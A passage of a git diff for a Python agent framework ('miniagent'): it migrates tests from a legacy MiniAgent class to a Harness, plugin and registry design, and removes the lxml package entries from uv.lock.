m = Memory(path=tmp_path / "mem.json") - m.set_preference("lang", "en") - m.set_fact("name", "Alice") - m.push("user", "hello") - ctx = m.context() - assert isinstance(ctx, str) - assert "lang" in ctx or "en" in ctx - assert "Alice" in ctx or "name" in ctx diff --git a/tests/test_model_selection.py b/tests/test_model_selection.py index 0bf6fed..6710f6a 100644 --- a/tests/test_model_selection.py +++ b/tests/test_model_selection.py @@ -57,6 +57,13 @@ def test_unprefixed_model_does_not_borrow_unrelated_key(monkeypatch): assert load_config().llm.api_key is None +def test_unprefixed_model_does_not_guess_provider_from_endpoint(monkeypatch): + monkeypatch.setenv("DEEPSEEK_API_KEY", "unrelated-key") + monkeypatch.setenv("LLM_MODEL", "fixture") + monkeypatch.setenv("LLM_API_BASE", "https://deepseek.invalid/v1") + assert load_config().llm.api_key is None + + def test_explicit_compatibility_credentials_are_preserved(monkeypatch): monkeypatch.setenv("LLM_API_KEY", "gateway-key") cfg = load_config(model_override="openai:fixture", base_override="https://gateway.invalid/v6") @@ -72,9 +79,9 @@ def test_invalid_and_blank_models(tmp_path): assert load_config(model_override=" ").llm.model == "" -def test_legacy_missing_model_fails_before_client(tmp_path, monkeypatch): - from miniagent import legacy_cli - monkeypatch.setenv("DEEPSEEK_API_KEY", "private-fixture-key") +def test_legacy_flag_reports_migration_before_client(capsys): + from miniagent.cli import main with pytest.raises(SystemExit) as error: - legacy_cli._build_agent(options(tmp_path, model=None)) + main(["--legacy"]) assert error.value.code == 2 + assert "codex/legacy-pre-harness" in capsys.readouterr().err diff --git a/tests/test_runtime_recovery.py b/tests/test_runtime_recovery.py index 0054c18..7d08159 100644 --- a/tests/test_runtime_recovery.py +++ b/tests/test_runtime_recovery.py @@ -2,11 +2,10 @@ import asyncio import sys from pathlib import Path -from unittest.mock import patch import pytest -from miniagent import Harness, MiniAgent, Plugin +from miniagent import Harness, Plugin from miniagent.plugins import coding_tools, shell from miniagent.policy import Policy from miniagent.session import Session @@ -117,17 +116,20 @@ async def scenario(): asyncio.run(scenario()) -def test_legacy_added_tools_respect_and_survive_skill_switch(): - with patch.object(MiniAgent, "_init_llm_client"): - agent = MiniAgent("test", "fake") - agent.add_tool({"name": "read", "description": "read", "executor": lambda: None}) - agent.load_skill("reviewer") - agent.add_tool({"name": "write", "description": "write", "executor": lambda: None}) - assert [t["name"] for t in agent.tools] == ["read"] - agent.load_skill("coder") - assert [t["name"] for t in agent.tools] == ["read", "write"] - agent.load_skill("reviewer") - assert [t["name"] for t in agent.tools] == ["read"] +def test_added_tools_respect_and_survive_skill_switch(): + from miniagent.skills import get_skill + async def scenario(): + app = Harness() + app.use(Plugin("tools", lambda ctx: ctx.tool(Tool("read", "read", {"type": "object"}, lambda: None)))) + async with app: + app.apply_skill(get_skill("reviewer")) + app.active["tools"].tool(Tool("write", "write", {"type": "object"}, lambda: None)) + assert [t["function"]["name"] for t in app.registry.schemas()] == ["read"] + app.apply_skill(get_skill("coder")) + assert [t["function"]["name"] for t in app.registry.schemas()] == ["read", "write"] + app.apply_skill(get_skill("reviewer")) + assert [t["function"]["name"] for t in app.registry.schemas()] == ["read"] + asyncio.run(scenario()) def test_sensitive_files_are_hidden_from_managed_read_search_and_glob(tmp_path): diff --git a/tests/test_skills.py b/tests/test_skills.py index 0080a80..cfe2aa7 100644 --- a/tests/test_skills.py +++ b/tests/test_skills.py @@ -1,8 +1,7 @@ """Tests for the Skill system in miniagent/skills.py.""" -import pytest from dataclasses import fields as dataclass_fields -from unittest.mock import MagicMock, patch +from types import SimpleNamespace from miniagent.skills import Skill, register_skill, get_skill, list_skills @@ -55,39 +54,21 @@ def test_builtin_coder_tools(self): assert "bash" in coder.tools -class TestAgentLoadSkill: - def test_load_skill_changes_prompt_and_filters_tools(self): - from miniagent.agent import MiniAgent - - with patch.object(MiniAgent, '_init_llm_client'): - agent = MiniAgent(model="test", api_key="fake", system_prompt="original") - agent.client = MagicMock() - agent.tools = [ - {"name": "read", "description": "read", "parameters": {}, "executor": lambda: None}, - {"name": "bash", "description": "bash", "parameters": {}, "executor": lambda: None}, - {"name": "calculator", "description": "calc", "parameters": {}, "executor": lambda: None}, - ] - result = agent.load_skill("coder") - - assert result is True - assert agent.system_prompt != "original" - remaining = {t["name"] for t in agent.tools} - assert remaining == {"read", "bash"} - - def test_load_skill_returns_false_for_unknown(self): - from miniagent.agent import MiniAgent - - with patch.object(MiniAgent, '_init_llm_client'): - agent = MiniAgent(model="test", api_key="fake") - agent.client = MagicMock() - assert agent.load_skill("nonexistent_xyz") is False - - def test_load_skill_updates_temperature(self): - from miniagent.agent import MiniAgent - - with patch.object(MiniAgent, '_init_llm_client'): - agent = MiniAgent(model="test", api_key="fake", temperature=0.9) - agent.client = MagicMock() - agent.tools = [] - agent.load_skill("coder") - assert agent.temperature == 0.3 +class TestHarnessSkill: + def test_skill_changes_prompt_and_filters_tools(self): + from miniagent import Harness, Tool + app = Harness(system_prompt="original") + for name in ("read", "bash", "calculator"): + app.registry.add(Tool(name, name, {"type": "object"}, lambda: None)) + app.apply_skill(get_skill("coder")) + assert app.system_prompt != "original" + assert {t["function"]["name"] for t in app.registry.schemas()} == {"read", "bash"} + + def test_skill_updates_temperature(self): + from miniagent import Harness + backend = SimpleNamespace(temperature=0.9) + app = Harness(backend, temperature=0.9) + app.apply_skill(get_skill("coder")) + assert backend.temperature == 0.3 + app.apply_skill(None) + assert backend.temperature == 0.9 diff --git a/tests/test_tool_registry.py b/tests/test_tool_registry.py index 1868f9d..7d02849 100644 --- a/tests/test_tool_registry.py +++ b/tests/test_tool_registry.py @@ -1,51 +1,55 @@ -"""Tests for the tool registration system.""" - +"""Native registries own tools; callable metadata has no global registration.""" +import asyncio +import importlib.util import pytest -from miniagent.tools import ( - register_tool, get_registered_tools, get_tool, - get_tool_description, clear_tools, _TOOLS, -) - - -def test_register_and_get(): - """Registered tools appear in the global registry.""" - @register_tool - def _test_dummy(x: str) -> str: - """A dummy tool.""" - return x - - assert "_test_dummy" in get_registered_tools() - assert get_tool("_test_dummy") is _test_dummy - - # cleanup - del _TOOLS["_test_dummy"] - - -def test_get_tool_description_types(): - """get_tool_description extracts types and required fields correctly.""" - @register_tool - def _test_desc(name: str, count: int = 5) -> str: - """Search by name.\n\nArgs:\n name: The name\n count: Limit""" - return "" - - desc = get_tool_description(_test_desc) - assert desc["name"] == "_test_desc" - assert "Search by name" in desc["description"] - props = desc["parameters"]["properties"] - assert props["name"]["type"] == "string" - assert props["count"]["type"] == "integer" - assert "name" in desc["parameters"]["required"] - assert "count" not in desc["parameters"]["required"] - - del _TOOLS["_test_desc"] - - -def test_get_nonexistent_tool(): - assert get_tool("nonexistent_tool_xyz") is None - - -def test_builtin_tools_loaded(): - """Core tools should be auto-loaded on import.""" - tools = get_registered_tools() - for name in ["calculator", "read", "write", "edit", "grep", "glob", "bash"]: - assert name in tools, f"Built-in tool '{name}' not found in registry" +from jsonschema import ValidationError +from miniagent import Harness, Policy, Tool +from miniagent.plugins import coding_tools +from miniagent.tools import get_tool_description +from miniagent.tools.registry import Registry + + +def test_callable_description_does_not_register_globally(): + def search(name: str, count: int = 5): + """Search by name.""" + description = get_tool_description(search) + assert description["name"] == "search" + assert description["parameters"]["required"] == ["name"] + assert description["parameters"]["properties"]["count"] == {"type": "integer", "default": 5} + import miniagent.tools as tools + assert not hasattr(tools, "_TOOLS") + + +def test_registries_allow_independent_same_named_tools(): + async def scenario(): + first, second = Registry(), Registry() + first.add(Tool("same", "first", {"type": "object"}, lambda: 1)) + second.add(Tool("same", "second", {"type": "object"}, lambda: 2)) + assert await first.execute("same", {}, Policy(mode="trusted")) == 1 + assert await second.execute("same", {}, Policy(mode="trusted")) == 2 + asyncio.run(scenario()) + + +def test_native_coding_tools_and_schema_validate_before_execution(tmp_path): + async def scenario(): + app = Harness(policy=Policy(tmp_path, mode="trusted")).use(coding_tools()) + started = [] + async with app: + assert set(app.registry.tools) == {"read", "write", "edit", "grep", "glob", "bash"} + with pytest.raises(ValidationError): + await app.registry.execute("bash", {"cmd": "exit 0", "timeout": -1}, app.policy, + on_start=lambda: started.append(True)) + assert not app.uncertain and not started + asyncio.run(scenario()) + + +@pytest.mark.parametrize("name", ["MiniAgent", "Memory", "Orchestrator", "load_mcp_tools"]) +def test_retired_public_entries_explain_migration(name): + import miniagent + with pytest.raises(ImportError, match="legacy-pre-harness"): + getattr(miniagent, name) + + +@pytest.mark.parametrize("name", ["legacy", "legacy_cli", "memory", "orchestrator", "tools.basic_tools", "utils.json_utils"]) +def test_retired_implementations_are_absent_from_native_package(name): + assert importlib.util.find_spec("miniagent." + name) is None diff --git a/tests/test_type_annotations.py b/tests/test_type_annotations.py index 7e51ee2..8c011ac 100644 --- a/tests/test_type_annotations.py +++ b/tests/test_type_annotations.py @@ -1,33 +1,10 @@ -"""Tests for type annotation parsing in get_tool_description().""" - -from typing import List, Dict, Optional -import pytest -from miniagent.tools import register_tool, get_tool_description, _TOOLS - - -# Collect test tool names registered during tests for auto-cleanup -_TEST_TOOL_NAMES = [] - - -@pytest.fixture(autouse=True) -def cleanup_test_tools(): - """Auto-cleanup any tools registered during tests.""" - _TEST_TOOL_NAMES.clear() - yield - for name in _TEST_TOOL_NAMES: - _TOOLS.pop(name, None) - - -def _register_test_tool(func): - """Register a tool and track it for cleanup.""" - registered = register_tool(func) - _TEST_TOOL_NAMES.append(func.__name__) - return registered +"""Callable metadata supports the parameter types used by native tools.""" +from typing import List, Dict +from miniagent.tools import get_tool_description def test_list_str_mapped_to_array(): """List[str] parameters must map to JSON schema 'array', not 'string'.""" - @_register_test_tool def _tt_list_str(items: List[str]) -> str: """Test tool.\n\nArgs:\n items: A list of strings""" return "" @@ -38,7 +15,6 @@ def _tt_list_str(items: List[str]) -> str: def test_list_int_mapped_to_array(): """List[int] parameters must map to 'array'.""" - @_register_test_tool def _tt_list_int(nums: List[int]) -> str: """Test tool.\n\nArgs:\n nums: Numbers""" return "" @@ -49,7 +25,6 @@ def _tt_list_int(nums: List[int]) -> str: def test_dict_str_mapped_to_object(): """Dict[str, Any] parameters must map to 'object'.""" - @_register_test_tool def _tt_dict(data: Dict[str, str]) -> str: """Test tool.\n\nArgs:\n data: Key-value pairs""" return "" @@ -60,7 +35,6 @@ def _tt_dict(data: Dict[str, str]) -> str: def test_bool_not_confused_with_str(): """bool contains 'o' not 'str' — should map to 'boolean'.""" - @_register_test_tool def _tt_bool(flag: bool) -> str: """Test tool.\n\nArgs:\n flag: A flag""" return "" @@ -71,7 +45,6 @@ def _tt_bool(flag: bool) -> str: def test_plain_str(): """Plain str should still be 'string'.""" - @_register_test_tool def _tt_str(name: str) -> str: """Test tool.\n\nArgs:\n name: A name""" return "" @@ -82,7 +55,6 @@ def _tt_str(name: str) -> str: def test_plain_int(): """Plain int should map to 'integer'.""" - @_register_test_tool def _tt_int(n: int) -> str: """Test tool.\n\nArgs:\n n: Number""" return "" @@ -93,7 +65,6 @@ def _tt_int(n: int) -> str: def test_float_mapped(): """float should map to 'number'.""" - @_register_test_tool def _tt_float(val: float) -> str: """Test tool.\n\nArgs:\n val: A value""" return "" diff --git a/uv.lock b/uv.lock index be934a7..0cb0de9 100644 --- a/uv.lock +++ b/uv.lock @@ -731,108 +731,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/af/40/791891d4c0c4dab4c5e187c17261cedc26285fd41541577f900470a45a4d/license_expression-30.4.4-py3-none-any.whl", hash = "sha256:421788fdcadb41f049d2dc934ce666626265aeccefddd25e162a26f23bcbf8a4", size = 120615, upload-time = "2025-07-22T11:13:31.217Z" }, ] -[[package]] -name = "lxml" -version = "6.1.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, - { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, - { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, - { url = "https://files.pythonhosted.org/packages/4c/77/1bc7eeb0de4577d783fb625aa092cc9357883bba35845a3666bf1259f3dc/lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a", size = 5067921, upload-time = "2026-05-18T19:17:49.175Z" }, - { url = "https://files.pythonhosted.org/packages/1b/3c/c0690d74bd2bc17bc03b5b0d093569ead597dd0bfa088bf99eef8c24e19c/lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d", size = 5002456, upload-time = "2026-05-18T19:17:59.715Z" }, - { url = "https://files.pythonhosted.org/packages/66/8d/d1b3271af0c0f1e27e8472a849e4d2c65bc7766884b9ad2da9e76e145c88/lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8", size = 5202776, upload-time = "2026-05-18T19:18:08.924Z" }, - { url = "https://files.pythonhosted.org/packages/7a/45/689824ffb237fd10125ad273f32b28ff04dc6203c2822c85ff65a93df65e/lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009", size = 5329945, upload-time = "2026-05-18T19:18:13.673Z" }, - { url = "https://files.pythonhosted.org/packages/5d/c0/ef73af53767e958fd87d437c170f272e2f6e6c0f854939f133a895f1e711/lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6", size = 4659237, upload-time = "2026-05-18T19:18:18.657Z" }, - { url = "https://files.pythonhosted.org/packages/a0/5e/e1158e40397585e91cb0472374a1f63d0926a1ddeaa92f13d1a1ffe306d5/lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8", size = 5265904, upload-time = "2026-05-18T19:18:24.883Z" }, - { url = "https://files.pythonhosted.org/packages/a0/16/8687e5d1400ed1c0bc41dace232ebb7553952b618ea1f2e5fb6e2cfbbe23/lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83", size = 5045225, upload-time = "2026-05-18T19:17:20.073Z" }, - { url = "https://files.pythonhosted.org/packages/ca/18/d877bd1ae2e5ffdfd4836565aba350db31feb2f2656d6ce70316ed66a05e/lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6", size = 4712721, upload-time = "2026-05-18T19:17:40.512Z" }, - { url = "https://files.pythonhosted.org/packages/44/4d/1f44fd1d770b10dacbf6b5c6e520f4d6e0708744930f719dc04e67cab981/lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c", size = 5252549, upload-time = "2026-05-18T19:17:51.236Z" }, - { url = "https://files.pythonhosted.org/packages/64/5d/1d66b84f850089254c230ef6ea6b267a5a54e2e179a5d960036a05d501d7/lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08", size = 5226877, upload-time = "2026-05-18T19:18:00.875Z" }, - { url = "https://files.pythonhosted.org/packages/ad/00/84c4b5302d42a2d0184f38d538c8a197f33b52a50bd4f7bcfe990bce3036/lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621", size = 3594072, upload-time = "2026-05-18T19:17:12.714Z" }, - { url = "https://files.pythonhosted.org/packages/61/9d/2e2f7d876349f45e0f3e29f72da311668853d59b58d473a2dea4f0160135/lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28", size = 4025469, upload-time = "2026-05-18T19:17:50.566Z" }, - { url = "https://files.pythonhosted.org/packages/b0/d5/570e6390e4110331e6208b2ba83d1482cc9146808ee118b22824a34c1070/lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b", size = 3667640, upload-time = "2026-05-19T19:22:48.293Z" }, - { url = "https://files.pythonhosted.org/packages/6a/6e/c4add832b6fc1e887125b96f880d7b9b70aae5248718e046b1704bcac4b9/lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7", size = 8570821, upload-time = "2026-05-18T19:17:42.068Z" }, - { url = "https://files.pythonhosted.org/packages/22/00/ff3009c88e65de8011630acf8ab5a09cb2becd2aaf47fba2f3449f6224e9/lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1", size = 4624252, upload-time = "2026-05-18T19:17:47.897Z" }, - { url = "https://files.pythonhosted.org/packages/42/95/bb63f0fd62e554fe078e1fb3c8fe9083c14ddc7ad7fa178d10e57e071ac7/lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc", size = 4930746, upload-time = "2026-05-18T19:18:29.637Z" }, - { url = "https://files.pythonhosted.org/packages/eb/99/0013e8d9b5960f4f041cf0b73e2f80c23eb5205b1f7bfb20203243651359/lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc", size = 5093723, upload-time = "2026-05-18T19:18:34.168Z" }, - { url = "https://files.pythonhosted.org/packages/29/91/317b332636bfc7bddcff828d41b3307f50043f4b237e40849c333d80fa1a/lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383", size = 5005557, upload-time = "2026-05-18T19:18:39.798Z" }, - { url = "https://files.pythonhosted.org/packages/42/2f/cc9bf06afe70f9c9093ae60855d9759da9db601ec4080f7473319666ffd7/lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b", size = 5631036, upload-time = "2026-05-18T19:18:44.858Z" }, - { url = "https://files.pythonhosted.org/packages/08/f6/af32e23e563971ffb0fb86be52bc5be5c2c118858ffc119bf6a9039b173d/lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818", size = 5240367, upload-time = "2026-05-18T19:18:49.217Z" }, - { url = "https://files.pythonhosted.org/packages/78/83/8555d40948b09ce86f1bd0c68a7ac31d07b1929f92cc1b074006c97ef2d2/lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740", size = 5350171, upload-time = "2026-05-18T19:18:52.779Z" }, - { url = "https://files.pythonhosted.org/packages/63/75/5d92da93729b7bad783689e6496049fa40927b45bec7bf183c981de3ca70/lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f", size = 4694874, upload-time = "2026-05-18T19:18:55.139Z" }, - { url = "https://files.pythonhosted.org/packages/c5/b5/3aad415a9a25b822e783f15deeb4dffccf5113030f1afa2222dd929313d9/lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2", size = 5244492, upload-time = "2026-05-18T19:19:01.28Z" }, - { url = "https://files.pythonhosted.org/packages/f1/a1/5fcf7eb9904b80086aa47dcf0027de07b1bb990afad2e6823144c368ae04/lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635", size = 5048232, upload-time = "2026-05-18T19:18:12.67Z" }, - { url = "https://files.pythonhosted.org/packages/77/74/1f601b63c7a69fcdf10fa9b148c81da8442204194f6c55509cc485c786b9/lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf", size = 4777023, upload-time = "2026-05-18T19:18:15.928Z" }, - { url = "https://files.pythonhosted.org/packages/a2/b9/7a78f51aec95b1bf780d78e12705a9f6533284f8693dc5c0e6724fa53d3f/lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc", size = 5645773, upload-time = "2026-05-18T19:18:23.223Z" }, - { url = "https://files.pythonhosted.org/packages/a5/6e/98a7b7ad54e4e74fa1f20fff776913980619d0ebe5558232d7da6580bdd8/lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955", size = 5233088, upload-time = "2026-05-18T19:18:31.433Z" }, - { url = "https://files.pythonhosted.org/packages/65/d1/bc0ed2427bf609f2ee10da303a6a226f9c8bce94f945dc29a32ce55de6e4/lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a", size = 5260995, upload-time = "2026-05-18T19:18:37.091Z" }, - { url = "https://files.pythonhosted.org/packages/69/8b/6772e1a4b513fc50a8d931f19edde0e13ae6918510a1e13ff67864f3e5ed/lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a", size = 3596382, upload-time = "2026-05-18T19:17:18.37Z" }, - { url = "https://files.pythonhosted.org/packages/1b/89/45198e9624762af2dfd2cb8782598477ceb29f6e59caab560388ae1f4ec1/lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77", size = 3997255, upload-time = "2026-05-18T19:17:56.781Z" }, - { url = "https://files.pythonhosted.org/packages/90/a9/7a54b6834088d9ae528a7b780584ba6a39a9457b0ac330479f20ffbc9449/lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f", size = 3659610, upload-time = "2026-05-19T19:22:50.843Z" }, - { url = "https://files.pythonhosted.org/packages/a5/eb/7e6f37c5584ccbb2ff267f56fd0339016938c1c8684cfefab9b33ffc2f36/lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736", size = 8559780, upload-time = "2026-05-18T19:17:57.661Z" }, - { url = "https://files.pythonhosted.org/packages/a1/36/587c2521cf23a2cd6c9c22108aa7528f683a1f195ed7ccd23a4b1786ad36/lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9", size = 4618006, upload-time = "2026-05-18T19:18:04.452Z" }, - { url = "https://files.pythonhosted.org/packages/6e/ca/ab7bfe2bf4c972af5e7878262845ead3a24a929a9b04bc11c7c1ece6c82a/lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354", size = 4924139, upload-time = "2026-05-18T19:19:04.873Z" }, - { url = "https://files.pythonhosted.org/packages/6b/55/a0c72851dfee5ecc689f949723a73dea457758912542cb955b108eaf0d8f/lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca", size = 5082329, upload-time = "2026-05-18T19:19:09.728Z" }, - { url = "https://files.pythonhosted.org/packages/f0/b6/0608f7d61a3b96cc67e5648a3d906e31a5082093e10e7be65b3886289938/lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099", size = 4993564, upload-time = "2026-05-18T19:19:13.608Z" }, - { url = "https://files.pythonhosted.org/packages/4c/66/ae227524b066d29d55bf0b453d93d2d793c40218657d643dcbbca13b8faf/lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6", size = 5613467, upload-time = "2026-05-18T19:19:16.228Z" }, - { url = "https://files.pythonhosted.org/packages/a6/76/dbe4a00b50385e40194231dcfe5a12c059de7cf90e89c83407d2b085b719/lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085", size = 5228304, upload-time = "2026-05-18T19:19:19.354Z" }, - { url = "https://files.pythonhosted.org/packages/1c/01/00b1b8442ed2041793336868ba0b9ea4b13d7da7c085c6404c207a63bf79/lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e", size = 5341607, upload-time = "2026-05-18T19:19:22.297Z" }, - { url = "https://files.pythonhosted.org/packages/63/36/1ad29931e9a4638bb707869f01d423a6c815f82152138d1a40dfcfde2b95/lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f", size = 4700168, upload-time = "2026-05-18T19:19:25.133Z" }, - { url = "https://files.pythonhosted.org/packages/3c/d1/a9536cecf9be18a0dc72d32bead283a2332d1ffebd2dd3ac70ce444686e5/lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c", size = 5232487, upload-time = "2026-05-18T19:19:28.603Z" }, - { url = "https://files.pythonhosted.org/packages/0e/77/b4fb1e03bf5d130e879214d3100092e386418807fb74dd0adc4b0a48f351/lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b", size = 5044231, upload-time = "2026-05-18T19:18:42.246Z" }, - { url = "https://files.pythonhosted.org/packages/26/4c/d00daeeb0a5530c4028a9232aa1b93db3ef4ed2158c116ea73c79a9765b3/lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2", size = 4769450, upload-time = "2026-05-18T19:18:48.013Z" }, - { url = "https://files.pythonhosted.org/packages/ed/6a/715a3a8d156ce42f29cf014706f5410c2ff3b02267774110fc23266409fe/lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5", size = 5635874, upload-time = "2026-05-18T19:18:51.914Z" }, - { url = 